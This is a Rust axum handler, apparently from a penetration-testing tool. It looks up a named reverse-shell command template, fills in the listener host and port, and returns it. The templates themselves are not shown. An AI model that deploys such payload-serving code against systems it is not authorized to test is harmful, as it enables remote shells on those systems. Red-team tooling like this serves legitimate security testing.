use axum::{ body::Body, extract::Path, http::{Request, StatusCode}, response::IntoResponse }; use crate::config; pub async fn shells_handler(Path(shell): Path, req: Request) -> impl IntoResponse { let conf = config::load_config(); let Some(host) = req.headers() .get("host") .and_then(|v| v.to_str().ok()) else { return (StatusCode::BAD_REQUEST, "Unable to determine LHOST.".to_string()); }; let ip = host.split(":").next().unwrap(); match conf.get_shell(&shell) { Some(res) => { let cmd = res.replace("{LHOST}", ip) .replace("{LPORT}", &conf.shell_port.to_string()); (StatusCode::OK, cmd) }, None => (StatusCode::NOT_FOUND, "Invalid shell name.".to_string()), } }